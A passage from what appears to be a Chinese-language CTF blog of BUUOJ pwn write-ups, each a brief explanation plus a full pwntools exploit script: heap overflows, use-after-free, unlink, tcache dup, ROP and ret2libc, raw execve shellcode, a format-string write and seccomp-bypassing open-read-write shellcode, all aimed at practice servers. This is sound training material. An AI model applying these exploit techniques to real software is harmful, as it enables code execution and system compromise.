ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('free',ad)
libc_base=ad-libc.dump('free')
sys_ad=libc_base+libc.dump('system')
log.info("sys_ad: "+hex(sys_ad))
edit(2,p64(sys_ad))
free(3)
p.interactive()

0ctf_2017_babyheap

本题保护全开,有4大功能alloc,fill,free,dump,allo中使用的是calloc,fill中存在堆溢出,思路为泄露libc+malloc_hook劫持,
泄露libc:
通过chunk extent和overlapping来得到一个覆盖了别的堆块的堆,然后
将被覆盖的堆快大小改为small bin,free再dump,即可泄露libc

malloc_hook劫持:
思路和前面差不多,fd改为malloc_hook-0x23就可以了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from LibcSearcher import *
a=1
b=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0)
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote("node3.buuoj.cn",28501)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')

def allo(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(index,size,content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(content)

def free(index):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))

def dump(index):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))

allo(0x18)#0
allo(0x18)#1
allo(0x18)#3
allo(0x18)#4
allo(0x68)#5
allo(0x10)#6
fill(0,0x19,"a"*0x18+p8(0x41))
free(1)
allo(0x30)#1
fill(1,0x20,"a"*0x18+p64(0xb1))
free(2)
dump(1)
p.recvuntil("Content: \n")
p.recv(0x20)
ad=u64(p.recv(8))
log.info("ad: "+hex(ad))
libc_base=ad-0x3c4b78
#gdb.attach(p)
malloc_hook=ad-0x68
libc=LibcSearcher("__malloc_hook",malloc_hook)
sys_ad=libc_base+libc.dump("system")
log.info("mallo_hook: "+hex(malloc_hook))
og_ad=libc_base+0x4526a#0x4527a 0xf03a4 0xf1247
log.info("og_ad: "+hex(og_ad))

allo(0x18)#2
allo(0x18)#6
allo(0x68)#7
allo(0x18)#8

free(7)
fill(6,0x28,"a"*0x18+p64(0x71)+p64(malloc_hook-0x23))
allo(0x68)#7
allo(0x68)#9
fill(9,0x18+3,"aaa"+p64(0)+p64(0)+p64(og_ad))
allo(0x18)

p.interactive()

wustctf2020_closed

本题考的是linux命令相关的知识,见:https://www.cnblogs.com/chuj/p/14232142.html
close(1),关闭了标准输出,close(2),关闭了标准错误,输入的命令被执行,
但是由于close(1),看不到结果,通过exec 1>&0来把标准输出重定向到文件描述符0(标准输入),这个文件默认是开启的。这样我们就可以看到输出了。

ciscn_2019_es_7

做法和ciscn_2019_s_3一样,见ciscn_2019_s_3

jarvisoj_level5

64位,只开了NX保护,先通过rop调用write泄露libc,然后就可以乱写了
常规写法
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
a=1
b=1
if(a==0):
p=process('./pwn')
else:
p=remote("node3.buuoj.cn",28799)
elf=ELF('./pwn')
context( os = 'linux',arch='amd64')
#context.log_level = 'debug'
ad1=0x4006b3#pop rdi ; ret
ad2=0x4006b1#pop rsi ; pop r15 ; ret
ad3=0x400499#ret
vul_ad=0x4005E6
main_ad=0x40061A
write_plt=elf.plt['write']
payload="a"*0x80+"aaaa"*2+p64(ad1)+p64(1)+p64(ad2)+p64(elf.got['write'])
payload+=p64(0)+p64(write_plt)+p64(main_ad)
p.recvuntil("Input:\n")
p.sendline(payload)
ad=u64(p.recv(6).ljust(8,'\x00'))
log.info("ad: "+hex(ad))
libc=LibcSearcher("write",ad)
libc_base=ad-libc.dump('write')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump('str_bin_sh')
payload="a"*0x80+p64(vul_ad)+p64(ad1)+p64(bin_ad)+p64(sys_ad)
p.sendline(payload)
p.interactive()

mprotect写法转自pwnki师傅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.log_level='DEBUG'
r=remote('node3.buuoj.cn',25687)
#r = process('./level3_x64')
file=ELF('./level3_x64')
#libc=ELF('./libc-2.19.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

prdi=0x4006b3
prsi=0x4006b1
bss_start=0x600a88
start_addr=0x4004f0

payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
payload1+=p64(start_addr)
r.recvuntil('\n')
r.send(payload1)
write_got=u64(r.recv(8))
sleep(1)

libc_base=write_got-libc.sym['write']
mprotect=libc_base+libc.sym['mprotect']
prdx=libc_base+0x1b92
payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
r.recvuntil('\n')
r.send(payload2)
sleep(1)
payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
r.recvuntil('\n')
r.send(payload3)
sleep(1)
r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))
payload4='a'*0x80+'b'*8+p64(bss_start)
r.recvuntil('\n')
r.send(payload4)
r.interactive()

hitcontraining_bamboobox

第一种写法(未用magic)
这个题我用的是泄露libc+改got表的方法getshell,本题中的edit功能有溢出,不过结尾会加上’\0’,绕不过去,然后我发现bss段可以伪造堆块,接下来的流程就清晰了,先放个got表覆盖一个bss段的堆指针,然后打印得到libc,再放一个覆盖为system(最好覆盖atoi),然后输入/bin/sh\x00就能getshell
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *
a=1
b=1

if(a==0):
p=process('./pwn')

else:
p=remote("node3.buuoj.cn",25576)

elf=ELF('./pwn')
context( os = 'linux',arch='amd64')
#context.log_level = 'debug'

def show():
p.recvuntil("Your choice:")
p.sendline("1")

def add(size,content):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil(" item name:")
p.sendline(str(size))
p.recvuntil(":")
p.send(content)

def edit(index,size,content):
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(content)

def free(index):
p.recvuntil("Your choice:")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(index))

read_got=elf.got['read']
atoi_ad=elf.got['atoi']
shell_ad=0x400D49
add(0x18,"a"*0x18)#1
add(0x18,"b"*0x18)#2
add(0x18,"c"*0x18)#3
add(0x20,"aaaa")#4
edit(0,0x20,"a"*0x18+p64(0x71))
free(1)
edit(0,0x28,"a"*0x18+p64(0x71)+p64(0x6020ad))
add(0x60,"aaaa")#5
add(0x60,"bbb"+p64(0)+p64(read_got)+p64(0x18)+p64(atoi_ad))#6
show()
p.recvuntil("0 : ")
ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher("read",ad)
libc_base=ad-libc.dump("read")
sys_ad=libc_base+libc.dump("system")
log.info("sys_ad: "+hex(sys_ad))
edit(1,8,p64(sys_ad))

p.sendline("/bin/sh\x00")
p.interactive()

第二种写法(house of force)
待补充

hitcon2014_stkof

一道unlink的入门题,这个题的堆地址存放在bss段上,可以通过unlink来分配堆到bss段上来修改堆指针为got表
先是将free的got表改为puts的plt,然后泄露libc,接着将atoi的got表改为system
然后发送”/bin/sh\x00”就能getshell
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
#p=process("./pwn")
p=remote("node3.buuoj.cn",29313)
elf=ELF("./pwn")
head = 0x602140

def allo(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))

bss_ad=0x602150
#fakeFD + 0x18 == bss_ad
#fakeBk + 0x10 == bss_ad
allo(0x100)#1
allo(0x30)#2
allo(0x80)#3
payload=p64(0)+p64(0x20)+p64(bss_ad-0x18)+p64(bss_ad-0x10)+p64(0x20)+p64(0)
payload+=p64(0x30)+p64(0x90)
edit(2,len(payload),payload)

free(3)
payload=p64(0)+p64(elf.got["free"])+p64(elf.got["puts"])+p64(elf.got["atoi"])
edit(2,len(payload),payload)
edit(0,8,p64(elf.plt["puts"]))
free(1)
p.recvline()
ad=u64(p.recv(6).ljust(8,"\x00"))
log.info("ad: "+hex(ad))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
sys_ad=libc_base+libc.dump("system")
edit(2,8,p64(sys_ad))
p.sendline("/bin/sh\x00")
p.interactive()

pwnable_hacknote

这个题是个简单的uaf,名字和hitcon的一道uaf名字一样,思路也基本一样,只是没有magic函数,要复杂一点点,最后那里需要
用’;sh\x00’来进入shell
分配一个堆会分配一个0x8的功能堆,前四个字节用于输出,后四个记录堆地址
思路:通过uaf,来得到一个0x8的功能堆,然后覆盖,后四个字节为got表,再show一下,泄露libc,得到system,再使用同样的方法
得到一个功能堆,然后前四个字节填sys_ad,后四个填’;sh\x00’就能getshell(打远程用’sh\x00\x00’没打通于是就明白了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *
#p=process("./pwn")
p=remote("node3.buuoj.cn",25337)
elf=ELF("./pwn")
#libc=ELF("./libc.so.6")

def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)

def free(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))

def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))

bss_ad=0x804A050
add(0x80,"aaaa")#0
add(0x80,"bbbb")#1
free(0)
free(1)
add(8,p32(0x0804862b)+p32(elf.got["puts"]))#2
show(0)
ad=u32(p.recv(4))
log.info("ad: "+hex(ad))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump('puts')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump("str_bin_sh")
log.info("sys_ad: "+hex(sys_ad))
log.info("bin_ad: "+hex(bin_ad))
free(2)
add(8,p32(sys_ad)+";sh\x00")#3
show(0)
p.interactive()

ciscn_2019_s_9

32位,保护都没开,可以通过写shellcode或者泄露libc然后ret system都可以get shell
ROP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
#p=process("./pwn")
p=remote("node3.buuoj.cn",27519)
elf=ELF("./pwn")
#libc=ELF("./libc.so.6")

put_plt=0x08048390
vul_ad=0x080484BB

payload="a"*0x20+"aaaa"+p32(put_plt)+p32(vul_ad)+p32(elf.got['puts'])
p.recvuntil(">\n")
p.sendline(payload)
p.recvline()
ad=u32(p.recv(4))
log.info("ad: "+hex(ad))

libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
sys_ad=libc_base+libc.dump("system")
bin_ad=libc_base+libc.dump("str_bin_sh")

payload="a"*0x20+"aaaa" + p32(sys_ad)+p32(0)+p32(bin_ad)
p.sendline(payload)
p.interactive()

使用shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
#p=process("./pwn")
p=remote("node3.buuoj.cn",27519)
elf=ELF("./pwn")
#libc=ELF("./libc.so.6")

jmp_ad=0x8048554
shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload=shellcode.ljust(0x24,"\x00")+p32(jmp_ad)
payload+=asm("sub esp,40;call esp")
p.sendline(payload)
p.interactive()

actf_2019_babystack

栈迁移泄露libc+栈迁移retsystem,64位需要使用ret使栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
#context.log_level='debug'
#p=process("./pwn")
p=remote("node3.buuoj.cn",25353)
elf=ELF("./pwn")
#libc=ELF("./libc.so.6")

ad1=0x400A18 #leave ret
main_ad=0x4008F6
pop_rdi=0x0400ad3#pop rdi ret
ret_ad=0x400709
p.recvuntil(">")
p.sendline(str(224))
p.recvuntil("at ")

stack_ad=int(p.recv(14),16)
log.info(hex(stack_ad))
payload='a'*8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_ad)
payload=payload.ljust(0xD0,'a')
payload+=p64(stack_ad)+p64(ad1)
p.recvuntil(">")
#gdb.attach(p)
p.send(payload)
p.recvuntil("Byebye~\n")
ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
log.info("libc_base: "+hex(libc_base))
sys_ad=libc_base+libc.dump("system")
bin_ad=libc_base+libc.dump("str_bin_sh")
log.info("sys_ad="+hex(sys_ad))
log.info("bin_ad="+hex(bin_ad))
p.recvuntil(">")
p.sendline(str(224))
p.recvuntil("at ")
stack_ad=int(p.recv(14),16)
payload='a'*8+p64(ret_ad)+p64(pop_rdi)+p64(bin_ad)+p64(sys_ad)
payload=payload.ljust(0xD0,'a')
payload+=p64(stack_ad)+p64(ad1)
p.recvuntil(">")
#gdb.attach(p)
p.sendline(payload)
p.interactive()

cmcc_pwnme2

思路栈溢出泄露libc,然后再ret system,需要注意的是ebp未变,ida上的偏移和实际偏移不一样,直接返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
#p=process("./pwn")
p=remote("node3.buuoj.cn",29595)
elf=ELF("./pwn")
#libc=ELF("./libc.so.6")

start_ad=0x80484D0
payload="a"*0x6c+p32(elf.plt['puts'])+p32(start_ad)+p32(elf.got["puts"])

p.recvuntil("Please input:")
p.sendline(payload)

p.recvuntil("Hello, ")
ad=u32(p.recv(4))
log.info("ad: "+hex(ad))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
sys_ad=libc_base+libc.dump("system")
bin_ad=libc_base+libc.dump("str_bin_sh")
payload="a"*0x6c+"aaaa"+p32(sys_ad)+p32(main_ad)+p32(bin_ad)
p.send(payload)
#gdb.attach(p)
p.interactive()

picoctf_2018_shellcode

32位,什么保护都没开,main不能反编译,不过能看懂,main函数中call 了eax,而此时eax
正好位get的参数
这个题是一个shellcode题,输入shellcode就能getshell,还是没理解call的意义,
call的地方应该是可执行代码
call指令:
第一步:先将call指令的下一条指令的CS和IP入栈(当然如果是段间转移就要将CS和IP入栈,如果是段内转移就只要将IP入栈)
第二步:就是操作与call对应的jmp指令
所有的call指令都是可以用上面的两步来确定的,这是个通用的法则。

1
2
3
4
5
6
7
8
9
10
from pwn import *
from LibcSearcher import *
#p=process("./pwn")
p=remote("node3.buuoj.cn",26814)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

npuctf_2020_easyheap

这个题,edit功能中存在off-by-one,maloc功能中只能创建0x18,以及0x38的堆,并且每分配一个堆会先分配一个0x10的堆来存大小的内容的地址,
思路是通过chunk extend以及overlapping来覆盖一个0x10的堆的内容,从而泄露libc,并且修改got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from LibcSearcher import *
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'

if(a==1):
p=process("./pwn")
else:
p=remote("node3.buuoj.cn",26435)

def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil(" : ")
p.sendline(str(size))
p.recvuntil("Content:")
p.send(content)

def edit(index,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Content: ")
p.send(content)

def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))

def free(index):
p.recvuntil("Your choice :")
p.sendline("4")
p.recvuntil("Index :")
p.sendline(str(index))

add(0x18,"a"*0x18)#0
add(0x18,"b"*0x18)#1
add(0x18,"c"*0x18)#2
edit(0,"a"*0x18+p8(0x41))

free(1)

add(0x38,"cccc")#1
edit(1,p64(0x100)+p64(elf.got['free'])+p64(0)+p64(0x21)+p64(0x38)+p64(elf.got['atoi']))
show(1)
p.recvuntil("Content : ")
ad=u64(p.recv(6).ljust(8,'\x00'))
log.info("aoti_ad: "+hex(ad))
libc=LibcSearcher("atoi",ad)
libc_base=ad-libc.dump('atoi')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump('str_bin_sh')
edit(1,p64(sys_ad))
p.sendline("sh\x00")

p.interactive()
'''
lib_base=ad-libc.sym['puts']
sys_ad=libc_base+libc.sym['system']
bin_ad=libc_base+libc.libc.search("/bin/sh").next()
'''

picoctf_2018_can_you_gets_me

一道简单的栈溢出题,只有一个gets,使用ROPgadget的ROPchain即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
io=process("./pwn")
else:
io=remote("node3.buuoj.cn",29401)

p = ''
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
io.sendline("a"*0x18+"aaaa"+p)
io.interactive()

'''
libc=LibcSearcher("atoi",ad)
libc_base=ad-libc.dump('atoi')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump('str_bin_sh')

lib_base=ad-libc.sym['puts']
sys_ad=libc_base+libc.sym['system']
bin_ad=libc_base+libc.libc.search("/bin/sh").next()
'''

picoctf_2018_got_shell

程序逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // [esp+14h] [ebp-114h] BYREF
int v4; // [esp+18h] [ebp-110h] BYREF
char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v6; // [esp+11Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
__isoc99_scanf("%x", &v3);
sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
puts(s);
__isoc99_scanf("%x", &v4);
sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
puts(s);
*v3 = v4;
puts("Okay, exiting now...\n");
exit(1);
}

见exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'

if(a==1):
io=process("./pwn")
else:
io=remote("node3.buuoj.cn",27150)

io.recvuntil("value?\n")
io.sendline('804A00C')
io.sendline('804854B')
io.interactive()
'''
libc=LibcSearcher("atoi",ad)
libc_base=ad-libc.dump('atoi')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump('str_bin_sh')

libc_base=ad-libc.sym['puts']
sys_ad=libc_base+libc.sym['system']
bin_ad=libc_base+libc.libc.search("/bin/sh").next()
'''

ciscn_2019_es_1

这个题是tcache dup感觉思想上理解了,实操不太行,本地环境打不通,只能打远程,就很难受
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context(log_level='info',os='linux',arch='amd64',
terminal=['tmux','sp','-h'])

# p = process("./ciscn_2019_es_1")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./ciscn_2019_es_1")
p = remote("node3.buuoj.cn",27240)
libc = ELF("./libc-2.27.so")

def add(size,name,number):
p.recvuntil(":")
p.sendline('1')
p.recvuntil("name\n")
p.sendline(str(size))
p.recvuntil(":\n")
p.send(name)
p.recvuntil("call:\n")
p.send(number)
def show(id):
p.recvuntil(":")
p.sendline('2')
p.recvuntil("index:\n")
p.sendline(str(id))
def free(id):
p.recvuntil(":")
p.sendline('3')
p.recvuntil("index:\n")
p.sendline(str(id))

add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)

p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))
tcache_addr = chunk_addr - 0x270
log.info("tcache_addr:"+hex(tcache_addr))

add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
# add(0x80,'a','b')
free(3)
show(3)

p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_area - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
log.info("malloc_hook:"+hex(malloc_hook))

one = [0x4f365,0x4f3c2,0x10a45c]
onegadget = libc_base + 0x4f322#one[1]
log.info("onegadget:"+hex(onegadget))

add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)
# gdb.attach(p)

free(0)

p.interactive()

axb_2019_brop64

简单rop,64位注意寄存器传参
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'

if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28159)

p_rdi=0x400963#pop rdi ret
p_rsi=0x400961#pop rsi ; pop r15 ; ret
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_ad=0x4007D6
payload="If there is a chance,I won't make any mistake!\n\x00"
payload=payload.ljust(0xd0,'a')
payload+="aaaa"*2+p64(p_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_ad)

#gdb.attach(p)
p.sendline(payload)

p.recvuntil("Wish you happy everyday!\n")
ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',ad)
libc_base=ad-libc.dump('puts')
log.info("libc_base : "+hex(libc_base))
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump('str_bin_sh')

payload='a'*0xd0+"aaaa"*2+p64(p_rdi)+p64(bin_ad)+p64(sys_ad)+p64(main_ad)
p.sendline(payload)

p.interactive()

mrctf2020_easy_equation

等式:11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198
解出来judge 为 2,然后就是普通的格式字符串漏洞
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26748)

j_ad=0x60105C
payload="aa"+"%9$n"+"aaa"+p64(j_ad)
p.sendline(payload)
p.interactive()

gyctf_2020_some_thing_exceting

保护没开pie,一个简单的uaf,一开始没注意程序中有个地方读入了flag,就以为要先uaf泄露libc,然后再改malloc_hook为og,结果可以直接print flag
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",27973)

def malloc(len1,cn1,len2,cn2):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(": ")
p.sendline(str(len1))
p.recvuntil(": ")
p.sendline(cn1)
p.recvuntil(": ")
p.sendline(str(len2))
p.recvuntil(": ")
p.sendline(cn2)

def free(index):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(": ")
p.sendline(str(index))

def show(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(": ")
p.sendline(str(index))

puts_got=elf.got['puts']
malloc(0x20,"aaaa",0x20,"bbbb")#0
malloc(0x20,"cccc",0x20,"dddd")#1

free(0)
free(1)#1 -> 0
malloc(0x10,p64(0x6020A8),0x30,"sbsb")#2
show(0)
print p.recv()
p.interactive()

[极客大挑战 2019]Not Bad

这个题开了沙盒,system用不了,只能通过orw来读flag,这个题一开始给了提示,分配了一段空间可写可读,并且程序有jmp rsp,然后看exp就能明白了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26837)

mmap=0x123000
jmp_rsp=0x400a01
payload=asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload=payload.ljust(0x28,'a')
payload+=p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")
p.sendline(payload)
payload=asm(shellcraft.open("./flag"))+asm(shellcraft.read(3,mmap+0x50,0x50))
payload+=asm(shellcraft.write(1,mmap+0x50,0x50))
p.sendline(payload)
p.interactive()

